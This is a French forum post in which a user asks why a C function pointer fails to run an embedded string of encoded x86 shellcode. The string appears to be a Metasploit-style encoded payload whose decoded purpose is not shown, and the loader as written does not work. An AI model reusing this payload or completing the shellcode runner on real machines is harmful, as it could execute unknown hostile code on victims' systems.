Bonjour a tous un petit souci sur un pointeur fonction je poste le code

Code : Sélectionner tout - Visualiser dans une fenêtre à part
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
 
 
int fonct()
{
char scode[]=
"\x31\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xfb"
"\xe2\x8d\x15\x83\xeb\xfc\xe2\xf4\x07\x0a\xc9\x15\xfb\xe2\x06\x50"
"\xc7\x69\xf1\x10\x83\xe3\x62\x9e\xb4\xfa\x06\x4a\xdb\xe3\x66\x5c"
"\x70\xd6\x06\x14\x15\xd3\x4d\x8c\x57\x66\x4d\x61\xfc\x23\x47\x18"
"\xfa\x20\x66\xe1\xc0\xb6\xa9\x11\x8e\x07\x06\x4a\xdf\xe3\x66\x73"
"\x70\xee\xc6\x9e\xa4\xfe\x8c\xfe\x70\xfe\x06\x14\x10\x6b\xd1\x31"
"\xff\x21\xbc\xd5\x9f\x69\xcd\x25\x7e\x22\xf5\x19\x70\xa2\x81\x9e"
"\x8b\xfe\x20\x9e\x93\xea\x66\x1c\x70\x62\x3d\x15\xfb\xe2\x06\x7d"
"\xc7\xbd\xbc\xe3\x9b\xb4\x04\xed\x78\x22\xf6\x45\x93\x12\x07\x11"
"\xa4\x8a\x15\xeb\x71\xec\xda\xea\x1c\x81\xec\x79\x98\xcc\xe8\x6d"
"\x9e\xe2\x8d\x15";
}
 
int main(int argc, char *argv[])
{
 
  int(*p)();
  p=&fonct;
  (*p)();
 
 
 
 
  system("PAUSE");	
  return 0;
}
Normalement le pointeur devrai sauter sur l'adresse de ma fonction et exécuter les opcodes un a un mais ça ne marche pas,j' ai du faire une erreur si quelqu'un pouvait m'éclairer ce serai sympa merci d'avance